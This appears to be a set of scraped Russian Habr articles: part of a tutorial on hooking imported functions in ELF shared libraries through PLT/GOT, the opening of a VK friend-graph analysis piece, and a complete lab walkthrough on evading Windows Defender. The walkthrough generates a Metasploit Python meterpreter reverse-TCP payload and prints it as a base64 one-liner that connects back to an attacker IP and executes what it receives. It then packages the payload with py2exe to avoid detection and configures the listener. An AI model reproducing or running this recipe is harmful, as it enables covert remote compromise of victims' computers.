Но, наиболее интересная секция, в которой хранится информация об импортируемых и экспортируемых динамически компонуемых функциях называются “.dynsym”:
`Symbol table '.dynsym' contains 17 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND libtest2
2: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
3: 00000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses
4: 00000000 0 FUNC GLOBAL DEFAULT UND dlclose@GLIBC_2.0 (2)
5: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (3)
6: 00000000 0 FUNC GLOBAL DEFAULT UND libtest1
7: 00000000 0 FUNC GLOBAL DEFAULT UND dlopen@GLIBC_2.1 (4)
8: 00000000 0 FUNC GLOBAL DEFAULT UND fprintf@GLIBC_2.0 (3)
9: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0 (3)
10: 0804a034 0 NOTYPE GLOBAL DEFAULT ABS _end
11: 0804a028 0 NOTYPE GLOBAL DEFAULT ABS _edata
12: 0804879c 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used
13: 0804a028 4 OBJECT GLOBAL DEFAULT 24 stderr@GLIBC_2.0 (3)
14: 0804a028 0 NOTYPE GLOBAL DEFAULT ABS __bss_start
15: 080484b4 0 FUNC GLOBAL DEFAULT 11 _init
16: 0804877c 0 FUNC GLOBAL DEFAULT 14 _fini`
Кроме прочих функций, необходимых для правильной загрузки\выгрузки программы, можно отыскать знакомые имена: libtest1, libtest2, dlopen, fprintf, puts, dlclose. Для всех них значится тип FUNC и тот факт, что они в этом модуле не определены – индекс секции помечен как UND.
Секции “.rel.dyn” и “.rel.plt” являются таблицами переразмещений для тех символов из “.dynsym”, для которых вообще необходимо переразмещение при компоновке.
`Relocation section '.rel.dyn' at offset 0x464 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
08049ff0 00000206 R_386_GLOB_DAT 00000000 __gmon_start__
0804a028 00000d05 R_386_COPY 0804a028 stderr
Relocation section '.rel.plt' at offset 0x474 contains 8 entries:
Offset Info Type Sym.Value Sym. Name
0804a000 00000107 R_386_JUMP_SLOT 00000000 libtest2
0804a004 00000207 R_386_JUMP_SLOT 00000000 __gmon_start__
0804a008 00000407 R_386_JUMP_SLOT 00000000 dlclose
0804a00c 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main
0804a010 00000607 R_386_JUMP_SLOT 00000000 libtest1
0804a014 00000707 R_386_JUMP_SLOT 00000000 dlopen
0804a018 00000807 R_386_JUMP_SLOT 00000000 fprintf
0804a01c 00000907 R_386_JUMP_SLOT 00000000 puts`
В чем разница между этими таблицами с точки зрения динамической компоновки функций? Это тема следующего раздела.
#### Как компонуются разделяемые ELF-библиотеки?
Компиляция библиотек libtest1.so и libtest2.so несколько отличалась. libtest2.so компилировалась с ключом –fPIC (генерировать Position Independent Code). Посмотрим, как это отразилось на таблицах динамических символов для этих двух модулей (используем readelf):
`Symbol table '.dynsym' contains 11 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
2: 00000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses
3: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0 (2)
4: 00000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@GLIBC_2.1.3 (3)
5: 00002014 0 NOTYPE GLOBAL DEFAULT ABS _end
6: 0000200c 0 NOTYPE GLOBAL DEFAULT ABS _edata
7: 0000043c 32 FUNC GLOBAL DEFAULT 11 libtest1
8: 0000200c 0 NOTYPE GLOBAL DEFAULT ABS __bss_start
9: 0000031c 0 FUNC GLOBAL DEFAULT 9 _init
10: 00000498 0 FUNC GLOBAL DEFAULT 12 _fini
Symbol table '.dynsym' contains 11 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
2: 00000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses
3: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0 (2)
4: 00000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@GLIBC_2.1.3 (3)
5: 00002018 0 NOTYPE GLOBAL DEFAULT ABS _end
6: 00002010 0 NOTYPE GLOBAL DEFAULT ABS _edata
7: 00002010 0 NOTYPE GLOBAL DEFAULT ABS __bss_start
8: 00000304 0 FUNC GLOBAL DEFAULT 9 _init
9: 0000043c 52 FUNC GLOBAL DEFAULT 11 libtest2
10: 000004a8 0 FUNC GLOBAL DEFAULT 12 _fini`
Итак, таблицы динамических символов для обеих библиотек отличаются только порядком следования самих символов. Видно, что обе они используют неопределенную функцию puts(), а предоставляют libtest1() либо libtest2(). Как изменились таблицы переразмещений?
`Relocation section '.rel.dyn' at offset 0x2cc contains 8 entries:
Offset Info Type Sym.Value Sym. Name
00000445 00000008 R_386_RELATIVE
00000451 00000008 R_386_RELATIVE
00002008 00000008 R_386_RELATIVE
0000044a 00000302 R_386_PC32 00000000 puts
00000456 00000302 R_386_PC32 00000000 puts
00001fe8 00000106 R_386_GLOB_DAT 00000000 __gmon_start__
00001fec 00000206 R_386_GLOB_DAT 00000000 _Jv_RegisterClasses
00001ff0 00000406 R_386_GLOB_DAT 00000000 __cxa_finalize
Relocation section '.rel.plt' at offset 0x30c contains 2 entries:
Offset Info Type Sym.Value Sym. Name
00002000 00000107 R_386_JUMP_SLOT 00000000 __gmon_start__
00002004 00000407 R_386_JUMP_SLOT 00000000 __cxa_finalize`
Для libtest1.so переразмещение для функции puts() встречается два раза в секции “.rel.dyn”. Посмотрим на эти места непосредственно в модуле при помощи дизассемблера. Необходимо отыскать функцию libtest1() в которой и происходит двойной вызов puts(). Используем objdump –D:
```
0000043c :
43c: 55 push %ebp
43d: 89 e5 mov %esp,%ebp
43f: 83 ec 08 sub $0x8,%esp
442: c7 04 24 b4 04 00 00 movl $0x4b4,(%esp)
449: e8 fc ff ff ff call 44a
44e: c7 04 24 e0 04 00 00 movl $0x4e0,(%esp)
455: e8 fc ff ff ff call 456
45a: c9 leave
45b: c3 ret
45c: 90 nop
45d: 90 nop
45e: 90 nop
45f: 90 nop
```
Имеем две относительные инструкции CALL (код E8) с операндами 0xFFFFFFFC. Относительный CALL c таким операндом лишен смысла, так как, по сути, передает управление на один байт вперед относительно адреса инструкции CALL. Если посмотреть на смещение переразмещений для puts() в секции “.rel.dyn”, то можно обнаружить, что они применяются как раз к операнду инструкции CALL. Таким образом, в обоих случаях обращения к puts(), загрузчик просто перезапишет 0xFFFFFFFC так, что CALL будет переходить на корректный адрес функции puts().
Так работает переразмещение типа R\_386\_PC32.
Теперь обратим внимание на libtest2.so:
`Relocation section '.rel.dyn' at offset 0x2cc contains 4 entries:
Offset Info Type Sym.Value Sym. Name
0000200c 00000008 R_386_RELATIVE
00001fe8 00000106 R_386_GLOB_DAT 00000000 __gmon_start__
00001fec 00000206 R_386_GLOB_DAT 00000000 _Jv_RegisterClasses
00001ff0 00000406 R_386_GLOB_DAT 00000000 __cxa_finalize
Relocation section '.rel.plt' at offset 0x2ec contains 3 entries:
Offset Info Type Sym.Value Sym. Name
00002000 00000107 R_386_JUMP_SLOT 00000000 __gmon_start__
00002004 00000307 R_386_JUMP_SLOT 00000000 puts
00002008 00000407 R_386_JUMP_SLOT 00000000 __cxa_finalize`
Обращение к puts() упоминается только единожды, и, притом, в секции “.rel.plt”. Посмотрим на ассемблер и займемся отладкой:
```
0000043c :
43c: 55 push %ebp
43d: 89 e5 mov %esp,%ebp
43f: 53 push %ebx
440: 83 ec 04 sub $0x4,%esp
443: e8 ef ff ff ff call 437 <\_\_i686.get\_pc\_thunk.bx>
448: 81 c3 ac 1b 00 00 add $0x1bac,%ebx
44e: 8d 83 d0 e4 ff ff lea -0x1b30(%ebx),%eax
454: 89 04 24 mov %eax,(%esp)
457: e8 f8 fe ff ff call 354
45c: 8d 83 fc e4 ff ff lea -0x1b04(%ebx),%eax
462: 89 04 24 mov %eax,(%esp)
465: e8 ea fe ff ff call 354
46a: 83 c4 04 add $0x4,%esp
46d: 5b pop %ebx
46e: 5d pop %ebp
46f: c3 ret
```
Операнды инструкций CALL уже разные и осмысленные, а значит, что они на что-то указывают. Это уже не просто набивка (padding). Также полезно отметить, что перед вызовом самой puts() происходят запись 0x1FF4 (0x1BAC + 0x448) в регистр EBX. Отладчик помогает узнавать изначальное значение EBX, равное 0x448. Значит, это где-то дальше пригодится. Адрес 0x354 ведет нас к очень интересной секции “.plt”, которая, как и “.text”, помечена как исполняемая. Вот она:
```
Disassembly of section .plt:
00000334 <__gmon_start__@plt-0x10>:
334: ff b3 04 00 00 00 pushl 0x4(%ebx)
33a: ff a3 08 00 00 00 jmp *0x8(%ebx)
340: 00 00 add %al,(%eax)
...
00000344 <__gmon_start__@plt>:
344: ff a3 0c 00 00 00 jmp *0xc(%ebx)
34a: 68 00 00 00 00 push $0x0
34f: e9 e0 ff ff ff jmp 334 <_init+0x30>
00000354 :
354: ff a3 10 00 00 00 jmp \*0x10(%ebx)
35a: 68 08 00 00 00 push $0x8
35f: e9 d0 ff ff ff jmp 334 <\_init+0x30>
00000364 <\_\_cxa\_finalize@plt>:
364: ff a3 14 00 00 00 jmp \*0x14(%ebx)
36a: 68 10 00 00 00 push $0x10
36f: e9 c0 ff ff ff jmp 334 <\_init+0x30>
```
По интересующему нас адресу 0x354 обнаруживаем три инструкции. В первой из них происходит безусловный переход по адресу, на который указывает EBX (0x1FF4) плюс 0x10. Произведя простые вычисления, получим значение указателя 0x2004. Эти адреса попадают в секцию “.got.plt”.
```
Disassembly of section .got.plt:
00001ff4 <.got.plt>:
1ff4: 20 1f and %bl,(%edi)
...
1ffe: 00 00 add %al,(%eax)
2000: 4a dec %edx
2001: 03 00 add (%eax),%eax
2003: 00 5a 03 add %bl,0x3(%edx)
2006: 00 00 add %al,(%eax)
2008: 6a 03 push $0x3
...
```
Самое интересное обнаруживается тогда, когда мы этот указатель разыменовываем и, наконец-то, получаем адрес безусловного перехода, равный 0x35A. Но, это же, по сути, следующая инструкция! Зачем было производить такие сложные манипуляции и ссылаться на секцию “.got.plt”, чтобы просто перейти на следующую инструкцию? Что вообще такое PLT и GOT?
**PLT (Procedure Linkage Table)** — это таблица компоновки процедур. Она присутствует в исполняемых и разделяемых модулях. Это массив заглушек, по одной на каждую импортируемую функцию.
```
PLT[n+1]: jmp *GOT[n+3]
push #n @push n as a signal to the resolver
jmp PLT[0]
```
Вызов функции по адресу PLT[n+1] приведет к косвенному переходу управления по адресу GOT[n+3]. При первом вызове GOT[n+3] указывает назад, на PLT[n+1] + 6, что представляет собой последовательность PUSH\JMP на PLT[0]. Проходя через PLT[0], компоновщик использует сохраненный стековый аргумент, чтобы определить 'n' и затем разрешает символ 'n'. Потом компоновщик исправляет значение GOT[n+3] так, чтобы оно указывало прямо на целевую подпрограмму, и, в конце концов, вызывает ее. Каждый следующий вызов PLT[n+1] будет направлен на целевую подпрограмму без подобного разрешения ее адреса через инструкцию JMP.
Первый элемент PLT особенный и используется, чтобы перейти на код динамического разрешения адреса.
```
PLT[0]: push &GOT[1]
jmp GOT[2] @points to resolver()
```
Управление передается на код компоновщика. 'n' уже в стеке и туда же добавляется адрес GOT[1]. Таким образом компоновщик (находится в /lib/ld-linux.so.2) может определить, какая библиотека требует его услуг.
**GOT (Global Offset Table)** — это глобальная таблица смещений. Ее первые три элемента зарезервированы. При первой инициализации GOT все ее элементы, которые относятся к разрешению адресов в PLT, указывают обратно на PLT[0].
Вот эти особые элементы:
* GOT[0] список элементов, используемый загрузчиком
* GOT[1] указатель на таблицу переразмещений этого модуля
* GOT[2] указатель на код загрузчика из библиотеки ld-linux.so.2
* GOT[3]
* … далее следуют вспомогательные значение для косвенного вызова каждой из импортируемых функций
* GOT[3+M]
* GOT[3+M+1]
* … далее идут косвенный указатели для ссылок на глобальные переменные, по одной на каждый такой символ
У каждой библиотеки и исполняемого модуля есть своя PLT и GOT.
Так работает переразмещение типа R\_386\_JUMP\_SLOT, которое использовалось в библиотеке libtest2.so. Остальные типы переразмещений относятся к статической компоновке, поэтому нам не пригодятся.
В методах разрешения вызова импортируемых функций и заключается разница между кодом, зависящим от позиции загрузки в память и не зависящим от нее (PIC).
#### Важные выводы
Сделаем некоторые полезные заключения:
1. Всю информацию об импортируемых и экспортируемых функциях можно получить в секции “.dynsym”
2. Если модуль компилировался в режиме PIC (ключ -fPIC), то вызовы импортируемых функций будут осуществляться через PLT и GOT, переразмещение будет производиться лишь одинажды для каждой функции и будет применяться для первой инструкции определенного элемента в PLT. Информацию о самом переразмещении можно найти в секции “.rel.plt”
3. Если ключ –fPIC при компиляции библиотеки не применялся, то переразмещения будут производится над операндом каждой относительной инструкции CALL столько раз, сколько в коде осуществляется вызовов некоторой импортируемой функции. Информацию о самом переразмещении можно найти в секции “.rel.dyn”
*Замечание:* ключ компиляции –fPIC обязателен для 64-битной архитектуры. То есть в 64-битных библиотеках разрешение вызовов импортируемых функций всегда осуществляется через PLT\GOT. Плюс к тому на такой архитектуре секции с переразмещениями называются “.rela.plt” и “.rela.dyn”.
#### Долгожданное решение
Для осуществления перенаправления импортируемой функции в некоторой динамически-компонуемой библиотеке необходимо знать следующее:
1. Путь в файловой системе к этой библиотеке
2. Виртуальный адрес, по которому она загрузилась
3. Имя замещаемой функции
4. Адрес функции-заместителя
Еще нужно получать адрес оригинальной функции, чтобы произвести обратное перенаправление и, таким образом, вернуть все на свои места.
Прототип функции для перенаправления на языке С получается следующий:
```
void *elf_hook(char const *library_filename, void const *library_address, char const *function_name, void const *substitution_address);
```
#### Алгоритм перенаправления
Вот алгоритм работы функции перенаправления:
1. Открываем файл библиотеки.
2. Запоминаем индекс символа в секции “.dynsym”, имя которого соответствует имени искомой функции.
3. Просматриваем секцию “.rel.plt” и ищем в ней переразмещение для символа с указанным индексом.
4. Если такой символ найден, сохраняем оригинальный адрес, чтобы потом вернуть его из функции, и записываем на место, указанное в переразмещении, адрес функции-заместителя. Это место вычисляется как сумма адреса загрузки библиотеки в память и смещения в переразмещении. Все. Осуществлена подмена адреса функции. Перенаправление будет происходить всякий раз при вызове библиотекой этой функции. Выходим из функции и возвращаем адрес оригинала.
5. Если такой символ в секции “.rel.plt” не найден, то ищем его в секции “rel.dyn” по такому же принципу. Но, нужно помнить, что в секции переразмещений “rel.dyn” символ с искомым индексом может встречаться не один раз. Поэтому завершать цикл поиска после первого же перенаправления нельзя. А вот адрес оригинала можно запомнить при первом совпадении индекса и больше не вычислять – он все равно не измениться.
6. Возвращаем адрес функции-оригинала или NULL, если функция с искомым именен не была найдена.
Ниже представлен код этой функции на языке С:
```
void *elf_hook(char const *module_filename, void const *module_address, char const *name, void const *substitution)
{
static size_t pagesize;
int descriptor; //file descriptor of shared module
Elf_Shdr
*dynsym = NULL, // ".dynsym" section header
*rel_plt = NULL, // ".rel.plt" section header
*rel_dyn = NULL; // ".rel.dyn" section header
Elf_Sym
*symbol = NULL; //symbol table entry for symbol named "name"
Elf_Rel
*rel_plt_table = NULL, //array with ".rel.plt" entries
*rel_dyn_table = NULL; //array with ".rel.dyn" entries
size_t
i,
name_index = 0, //index of symbol named "name" in ".dyn.sym"
rel_plt_amount = 0, // amount of ".rel.plt" entries
rel_dyn_amount = 0, // amount of ".rel.dyn" entries
*name_address = NULL; //address of relocation for symbol named "name"
void *original = NULL; //address of the symbol being substituted
if (NULL == module_address || NULL == name || NULL == substitution)
return original;
if (!pagesize)
pagesize = sysconf(_SC_PAGESIZE);
descriptor = open(module_filename, O_RDONLY);
if (descriptor < 0)
return original;
if (
section_by_type(descriptor, SHT_DYNSYM, &dynsym) || //get ".dynsym" section
symbol_by_name(descriptor, dynsym, name, &symbol, &name_index) || //actually, we need only the index of symbol named "name" in the ".dynsym" table
section_by_name(descriptor, REL_PLT, &rel_plt) || //get ".rel.plt" (for 32-bit) or ".rela.plt" (for 64-bit) section
section_by_name(descriptor, REL_DYN, &rel_dyn) //get ".rel.dyn" (for 32-bit) or ".rela.dyn" (for 64-bit) section
)
{ //if something went wrong
free(dynsym);
free(rel_plt);
free(rel_dyn);
free(symbol);
close(descriptor);
return original;
}
//release the data used
free(dynsym);
free(symbol);
rel_plt_table = (Elf_Rel *)(((size_t)module_address) + rel_plt->sh_addr); //init the ".rel.plt" array
rel_plt_amount = rel_plt->sh_size / sizeof(Elf_Rel); //and get its size
rel_dyn_table = (Elf_Rel *)(((size_t)module_address) + rel_dyn->sh_addr); //init the ".rel.dyn" array
rel_dyn_amount = rel_dyn->sh_size / sizeof(Elf_Rel); //and get its size
//release the data used
free(rel_plt);
free(rel_dyn);
//and descriptor
close(descriptor);
//now we've got ".rel.plt" (needed for PIC) table and ".rel.dyn" (for non-PIC) table and the symbol's index
for (i = 0; i < rel_plt_amount; ++i) //lookup the ".rel.plt" table
if (ELF_R_SYM(rel_plt_table[i].r_info) == name_index) //if we found the symbol to substitute in ".rel.plt"
{
original = (void *)*(size_t *)(((size_t)module_address) + rel_plt_table[i].r_offset); //save the original function address
*(size_t *)(((size_t)module_address) + rel_plt_table[i].r_offset) = (size_t)substitution; //and replace it with the substitutional
break; //the target symbol appears in ".rel.plt" only once
}
if (original)
return original;
//we will get here only with 32-bit non-PIC module
for (i = 0; i < rel_dyn_amount; ++i) //lookup the ".rel.dyn" table
if (ELF_R_SYM(rel_dyn_table[i].r_info) == name_index) //if we found the symbol to substitute in ".rel.dyn"
{
name_address = (size_t *)(((size_t)module_address) + rel_dyn_table[i].r_offset); //get the relocation address (address of a relative CALL (0xE8) instruction's argument)
if (!original)
original = (void *)(*name_address + (size_t)name_address + sizeof(size_t)); //calculate an address of the original function by a relative CALL (0xE8) instruction's argument
mprotect((void *)(((size_t)name_address) & (((size_t)-1) ^ (pagesize - 1))), pagesize, PROT_READ | PROT_WRITE); //mark a memory page that contains the relocation as writable
if (errno)
return NULL;
*name_address = (size_t)substitution - (size_t)name_address - sizeof(size_t); //calculate a new relative CALL (0xE8) instruction's argument for the substitutional function and write it down
mprotect((void *)(((size_t)name_address) & (((size_t)-1) ^ (pagesize - 1))), pagesize, PROT_READ | PROT_EXEC); //mark a memory page that contains the relocation back as executable
if (errno) //if something went wrong
{
*name_address = (size_t)original - (size_t)name_address - sizeof(size_t); //then restore the original function address
return NULL;
}
}
return original;
}
```
Полная реализация этой функции с тестовыми примерами доступна для [скачивания](http://apriorit.com/downloads/elf_hook.zip).
Перепишем нашу тестовую программу:
```
#include
#include
#include "elf\_hook.h"
#define LIBTEST1\_PATH "libtest1.so" //position dependent code (for 32 bit only)
#define LIBTEST2\_PATH "libtest2.so" //position independent code
void libtest1(); //from libtest1.so
void libtest2(); //from libtest2.so
int hooked\_puts(char const \*s)
{
puts(s); //calls the original puts() from libc.so because our main executable module called "test" is intact by hook
puts("is HOOKED!");
}
int main()
{
void \*handle1 = dlopen(LIBTEST1\_PATH, RTLD\_LAZY);
void \*handle2 = dlopen(LIBTEST2\_PATH, RTLD\_LAZY);
void \*original1, \*original2;
if (NULL == handle1 || NULL == handle2)
fprintf(stderr, "Failed to open \"%s\" or \"%s\"!\n", LIBTEST1\_PATH, LIBTEST2\_PATH);
libtest1(); //calls puts() from libc.so twice
libtest2(); //calls puts() from libc.so twice
puts("-----------------------------");
original1 = elf\_hook(LIBTEST1\_PATH, LIBRARY\_ADDRESS\_BY\_HANDLE(handle1), "puts", hooked\_puts);
original2 = elf\_hook(LIBTEST2\_PATH, LIBRARY\_ADDRESS\_BY\_HANDLE(handle2), "puts", hooked\_puts);
if (NULL == original1 || NULL == original2)
fprintf(stderr, "Redirection failed!\n");
libtest1(); //calls hooked\_puts() twice
libtest2(); //calls hooked\_puts() twice
puts("-----------------------------");
original1 = elf\_hook(LIBTEST1\_PATH, LIBRARY\_ADDRESS\_BY\_HANDLE(handle1), "puts", original1);
original2 = elf\_hook(LIBTEST2\_PATH, LIBRARY\_ADDRESS\_BY\_HANDLE(handle2), "puts", original2);
if (NULL == original1 || original1 != original2) //both pointers should contain hooked\_puts() address now
fprintf(stderr, "Restoration failed!\n");
libtest1(); //again calls puts() from libc.so twice
libtest2(); //again calls puts() from libc.so twice
dlclose(handle1);
dlclose(handle2);
return 0;
}
```
Откомпилируем:
```
gcc -g3 -m32 -shared -o libtest1.so libtest1.c
gcc -g3 -m32 -fPIC -shared -o libtest2.so libtest2.c
gcc -g3 -m32 -L$PWD -o test test.c elf_hook.c -ltest1 -ltest2 -ldl
```
И запустим:
```
export LD_LIBRARY_PATH=$PWD:$LD_LIBRARY_PATH
./test
```
Вывод получим следующий:
`libtest1: 1st call to the original puts()
libtest1: 2nd call to the original puts()
libtest2: 1st call to the original puts()
libtest2: 2nd call to the original puts()
-----------------------------
libtest1: 1st call to the original puts()
is HOOKED!
libtest1: 2nd call to the original puts()
is HOOKED!
libtest2: 1st call to the original puts()
is HOOKED!
libtest2: 2nd call to the original puts()
is HOOKED!
-----------------------------
libtest1: 1st call to the original puts()
libtest1: 2nd call to the original puts()
libtest2: 1st call to the original puts()
libtest2: 2nd call to the original puts()`
Что свидетельствует о полном выполнении задачи, поставленной в самом начале. Ура!
##### Как узнать адрес по которому загрузилась разделяемая библиотека?
Этот очень интересный вопрос возникает при внимательном рассмотрении прототипа функции для перенаправления. После некоторого исследования мне удалось обнаружить способ определения адреса загрузки библиотеки по ее описателю, который возвращает функция dlopen(). Делается это таким макросом:
`#define LIBRARY_ADDRESS_BY_HANDLE(dlhandle) ((NULL == dlhandle) ? NULL : (void*)*(size_t const*)(dlhandle))`
##### Как записать и восстановить адрес новой функции?
С переписыванием адресов, на которые указывают переразмещения из секции “.rel.plt” проблем не возникает. По сути, переписывается операнд инструкции JMP соответствующего элемента из секции “.plt”. А операнды такой инструкции – это просто адреса.
Интересней дела обстоят с применением переразмещений к операндам относительных инструкций CALL (код E8). Адреса перехода в них вычисляются по формуле:
`address_of_a_function = CALL_argument + address_of_the_next_instruction`
Так мы можем узнать адрес функции-оригинала. Из предыдущей формулы получаем значение, которое нужно записать как аргумент для относительного CALL, чтобы осуществлять вызов нужной нам функции:
`CALL_argument = address_of_a_function - address_of_the_next_instruction`
Секция “.rel.dyn” попадает в сегмент, помеченный как “R E”, а значит, записывать адреса в него просто так не получится. Нужно добавить право на запись для страницы, на которую приходится переразмещение и не забыть после перенаправления вернуть все обратно. Это делается при помощи функции mprotect(). Первый параметр этой функции – это адрес страницы, содержащей переразмещение. Он должен быть всегда кратен размеру страницы. Вычислять его не сложно: нужно только обнулить несколько младших байт адреса переразмещения (в зависимости от размера страницы):
`page_address = (size_t)relocation_address & ( ((size_t) -1) ^ (pagesize - 1) );`
Например, для страниц размером 4096 (0x1000) байт на 32-битной системе приведенное выше выражение преобразуется в:
`page_address = (size_t)relocation_address & (0xFFFFFFFF ^ 0xFFF) = (size_t)relocation_address & 0xFFFFF000;`
Размер одной страницы, можно узнать, вызвав sysconf(\_SC\_PAGESIZE).
##### Пример использования
В качестве упражнения можно написать plug-in к Firefox, который будет перенаправлять на себя все сетевые вызовы, например, Adobe Flash plug-in’а (libflashplayer.so). Таким образом, можно контролировать весь трафик Adobe Flash в Internet из процесса Firefox никак не воздействуя на сетевые вызовы самого обозревателя и других plug-in’ов.
**Удачи!**
##### Ссылки по теме
Желающим прочитать на английском [сюда](http://apriorit.com/our-experience/articles/9-sd-articles/181-elf-hook), на русском публикую впервые.* [www.skyfree.org/linux/references/ELF\_Format.pdf](http://www.skyfree.org/linux/references/ELF_Format.pdf)
* [en.wikipedia.org/wiki/Executable\_and\_Linkable\_Format](http://en.wikipedia.org/wiki/Executable_and_Linkable_Format)
* [vxheavens.com/lib/vsc06.html](http://vxheavens.com/lib/vsc06.html)
* [netwinder.osuosl.org/users/p/patb/public\_html/elf\_relocs.html](http://netwinder.osuosl.org/users/p/patb/public_html/elf_relocs.html)
* [www.slideshare.net/sanjivmalik/dynamic-linker-presentation](http://www.slideshare.net/sanjivmalik/dynamic-linker-presentation)
* [www.codeproject.com/KB/cpp/shared\_object\_injection\_1.aspx](http://www.codeproject.com/KB/cpp/shared_object_injection_1.aspx)
* [www.linuxjournal.com/article/1060](http://www.linuxjournal.com/article/1060) | https://habr.com/ru/post/106107/ | null | ru | null |
# Обходим Windows Defender дешево и сердито: meterpreter сессия через python
Всем привет. Сегодня рассмотрим вариант запуска meterpreter сессии на машине Windows 10 с самыми свежими патчами (включая Windows Defender). И все также будем обходить антивирусы. Meterpreter — расширенная многофункциональная начинка (payload, нагрузка), которая может быть динамически расширена во время выполнения. В нормальных условиях это обеспечивает вас основной оболочкой и позволяет вам добавлять новые особенности к ней по мере необходимости.
Будем мы это делать с помощью Python, и посмотрим, как поведут себя антивирусные средства.
Предугадывая вопрос «А нужен ли нам Python на машине жертвы для запуска ехе?», отвечу сразу – нет, не нужен, все уже внутри.
В данной статье мы будем использовать:
* Windows 10 с включенным Windows Defender с обновленными базами (компьютер жертвы 192.168.1.113);
* Kali linux для использования metasploit и msfvenom (192.168.1.126);
* Windows 10 для сборки бинарника (в нашей лаборатории совпадает с компьютером жертвы) с установленными;
* [Python](https://www.python.org/) (3, но и для 2 тоже посмотрим);
* [py2exe](http://www.py2exe.org/).
Для начала обозначим проблему: создадим exe файл со стандартной нагрузкой, скопируем на машину жертвы и посмотрим к чему это приведёт.
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f exe > hunt.exe
```
Мы получаем предупреждение от нашего старого друга Windows Defender, которого мы так все любим.
Если спросим у VirusTotal, то он скажет следующее:
Давайте запустим Python и сделаем то, ради чего мы все тут собрались.
Python/meterpreter/reverse\_tcp – это уникальный кроссплатформенный payload Metasploit Framework, который позволяет удаленно управлять скомпрометированным компьютером. Не нужно думать о том, какую платформу выбрать, он сработает на любой, но в данном случае сделаем из него исполняемый файл под Windows.
Для начала установим пакет py2exe, который позволяет сделать исполняемый файл Windows из Python скрипта.
У нас это будет Python 3.4 (все что выше – не поддерживает py2exe).
```
py -3.4 –m pip install py2exe
```
или
```
pip install py2exe
```
Далее создадим «сырой» питоновский код с расширением .py
```
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f raw > hunt.py
```
Так же в вывод msfvenom нам необходимо добавить импорт getpass, который он забывает сделать сам. В итоге получиться должно так:
```
import getpass,base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMjYnLDkwMDEpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))
```
Теперь у нас все готово для создания бинарника.
```
python34 -m py2exe.build_exe hunt.py --bundle-files 0
```
Должны получить следующее:
Давайте еще раз обратимся к VirusTotal:
Уже лучше, теперь проверим это в действии – после копирования на машину жертвы обходимся без алертов.
Параллельно запустим наш msf и handler для питона, запустив последовательно команды:
```
msfconsole
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
set lhost 192.168.1.126
set lport 9001
run
```
Пойдем дальше и убедимся, что сессия работает корректно.
Таким образом сессия запущена и Windows Defender не сработал, чего мы и добивались.
Заодно давайте рассмотрим, что делать, если у вас Python 2ой версии.
1. Качаем [py2exe](https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download) для python 2
2. Генерируем payload с расширением .py
3. Создаем файл setup.py и пишем туда следующее:
```
from distutils.core import setup
import py2exe
setup(
name = ‘Meter’,
description = ‘Python-based App’,
version = ‘1.0’,
console=[‘hunt.py’],
options = {‘py2exe’: {‘bundle_files’: 1,’packages’:’ctypes’,’includes’: ‘base64,sys,socket,struct,time,code,platform,getpass,shutil’,}},
zipfile = None,
)
```
4. ```
python.exe .\setup.py py2exe
```
Должно получиться все то же самое.
В качестве итога замечу, что оболочка python meterpreter уступает по функционалу более привычному windows meterpreter. Например, не получится мигрировать в процесс или использовать команды типа getsystem, но все же это реальная альтернатива: получить сессию для работы с msf (routing и portfwd как минимум) и далее работать внутри сети. | https://habr.com/ru/post/459168/ | null | ru | null |
# Анализ дружеских связей VK с помощью Python. Продолжение
В предыдущей [статье](http://habrahabr.ru/post/221251/) мы на основе общих друзей ВКонтакте строили граф, а сегодня поговорим о том, как получить список друзей, друзей друзей и так далее. Предполагается, что вы уже прочли предыдущую [статью](http://habrahabr.ru/post/221251/), и я не буду описывать все заново. Под хабракатом большие картинки и много текста.
Начнем с того, что просто скачать все id пользователей достаточно легко, список валидных id можно найти в [Каталоге пользователей Вконтакте](https://vk.com/catalog.php). Наша же задача — получить список друзей выбранного нами id пользователя, их друзей и рекурсивно сколь угодно глубоко, в зависимости от указанной глубины.
Код, опубликованный в статье, будет меняться с течением времени, поэтому более свежую версию можно найти в том же проекте на [Github](https://github.com/stleon/vk_friends).
Как будем реализовывать:
* Задаем нужную нам глубину
* Отправляем исходные данные либо те id, которые надо исследовать на данной глубине
* Получаем ответ
Что будем использовать:
